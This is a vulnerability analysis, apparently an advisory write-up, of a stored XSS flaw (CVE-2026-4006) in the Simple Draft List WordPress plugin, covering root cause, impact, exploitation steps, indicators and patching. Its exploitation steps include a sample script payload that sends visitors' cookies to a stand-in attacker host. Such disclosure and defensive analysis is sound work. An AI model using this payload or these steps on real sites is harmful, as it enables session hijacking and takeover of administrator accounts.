CVE-2026-4006: 
WordPress vulnerability analysis and mitigation

CVE-2026-4006 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Draft List plugin for WordPress, affecting all versions up to and including 2.6.2. The flaw allows authenticated attackers with Contributor-level access or above to inject arbitrary web scripts via the display_name post meta (Custom Field), which execute whenever a page containing the [drafts] shortcode with the {{author+link}} template tag is visited. It was published on March 19, 2026, with a patch available in version 2.6.3. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, ENISA EUVD).

The root cause is insufficient input sanitization and output escaping (CWE-79) in the plugin's create-lists.php file. The plugin accesses $draft_data->display_name, which — because display_name is not a native WP_Post property — triggers WP_Post::__get() and resolves to get_post_meta($post_id, 'display_name', true). When the user_url meta field is empty, the $author value is assigned directly to $author_link on line 383 without any escaping (contrast with line 378, which uses esc_html() for the {{author}} tag, and line 381, which applies esc_html() when a URL is present). This unescaped value is then inserted into the shortcode output via str_replace(), enabling script injection (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated contributor to persistently inject malicious JavaScript into WordPress pages that render the [drafts] shortcode with the {{author+link}} tag. The injected scripts execute in the browsers of any user — including administrators — who visit the affected pages, potentially enabling session hijacking, credential theft, unauthorized administrative actions, or further site compromise. The CVSS scope is marked as Changed, reflecting that the impact extends beyond the attacker's own session to other users site-wide (Red Hat CVE, ENISA EUVD).

No public exploit code or in-the-wild exploitation has been reported for CVE-2026-4006 as of the available data. The EPSS score is approximately 0.036%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level authentication, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).

1. Gain Contributor Access: Obtain or register an account on the target WordPress site with at least Contributor-level privileges.
2. Create or Edit a Draft Post: Create a new draft post and set the display_name custom field (post meta) to a malicious JavaScript payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Ensure No Author URL: Leave the user_url post meta field empty so the plugin takes the vulnerable code path (line 383 of create-lists.php) that skips HTML escaping.
4. Trigger Shortcode Rendering: Identify or wait for a page on the site that uses the [drafts] shortcode with the {{author+link}} template tag — or social-engineer an administrator into visiting such a page.
5. Script Executes: When any user (including admins) loads the page, the unescaped display_name value is rendered in the page HTML, executing the injected script in their browser and potentially stealing session cookies or performing actions on their behalf (Wordfence, WordPress Trac).

• File System: Unexpected or modified display_name post meta values in the WordPress database (wp_postmeta table) containing HTML tags or JavaScript (<script>, onerror=, javascript:, etc.).
• Logs: WordPress access logs showing repeated visits to pages containing the [drafts] shortcode, particularly from contributor-level accounts shortly before suspicious admin activity.
• Network: Outbound requests from victim browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages that render the [drafts] shortcode.
• Process/Behavior: Unexpected administrative actions (new admin accounts created, plugin/theme changes) following visits to pages with the [drafts] shortcode, potentially indicating session hijacking via stolen cookies.

The vendor (dartiss) released version 2.6.3 of the Simple Draft List plugin, which addresses the missing output escaping on the $author_link variable. WordPress site administrators should update the plugin to version 2.6.3 or later immediately via the WordPress admin dashboard or the WordPress plugin repository. As a temporary workaround, administrators can remove or disable any pages/posts using the [drafts] shortcode with the {{author+link}} template tag until the update is applied, or restrict contributor-level registrations on the site (Wordfence, WordPress Trac Changeset).

The vulnerability was assigned and disclosed by Wordfence, a leading WordPress security firm, and indexed by ENISA's European Vulnerability Database (EUVD-2026-13069) and Red Hat's CVE tracker. No notable independent researcher commentary or significant media coverage beyond standard vulnerability aggregator listings has been identified for this CVE.